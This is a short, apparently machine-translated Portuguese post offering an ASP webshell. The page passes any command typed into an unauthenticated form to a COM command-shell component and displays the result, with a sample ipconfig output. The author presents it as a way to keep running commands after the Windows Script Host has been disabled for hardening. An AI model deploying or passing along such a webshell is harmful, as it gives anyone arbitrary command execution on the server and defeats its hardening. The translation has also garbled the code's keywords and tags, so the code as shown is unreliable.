Às vezes, quando gerenciamos o servidor, desativamos o host de script do Windows por segurança. Mas e se quisermos desativar o WSH e usar nossa própria webshell para gerenciar o gerenciamento do servidor? Aqui está uma programação de componentes que implementa o CMD no ASP e exibiu resultados. Espero ajudar a todos.
|||
<!-
.singleborder {
borda: 1px sólido;
Background-Color: #000000;
Font-Family: Arial, Helvetica, Sans-Serif;
Cor: #ffffff;
}
.Noborder {
borda: 1px Nenhum;
Background-Color: #000000;
Font-Family: Arial, Helvetica, Sans-Serif;
Cor: #ffffff;
}
Corpo {cor de fundo: #000000; Cor: #000000;
Fonte-família: Florthsys;
->
</style>
<Forma de ação = método = post>
<nome de entrada = cmd class = singleborder value = <%= request.form (cmd)%> size = 102>
<Tipo de entrada = Submeter class = Singleborder Value = Execute>
</morm>
<%
se request.form (cmd) <> então
set testme = server.createObject (aspcmd.cmdshell)
%>
<div class = noborder> <%= request.form (cmd)%> </div> <br>
<textarea cols = 120 linhas = 30 class = Noborder>
<%= testme.exec1 (request.form (cmd))%> </sexttarea>
<% Set testme = nada
final se
%>
A seguir, é o resultado da execução do ipconfig /all:
Configuração IP do Windows 2000
Nome do host .........: IBM-WRK-02
Sufixo Primário DNS .......:
Tipo de nó ......... .: Broadcast
roteamento IP ativado .......: não
vence o proxy ativado .......: não
Adaptador Ethernet Conexão local:
Sufixo DNS específico da conexão. ::
Descrição ...........: Intel (R) Pro/100 VM Connection
Endereço físico ........: 008-02-BD-D7-EB
DHCP ativado .........: não
Endereço IP ........ ..: 192.168.0.4
Máscara de sub -rede .........: 255.255.255.0
Gateway padrão ......... .: 192.168.0.1
Servidores DNS .........: 202.106.196.115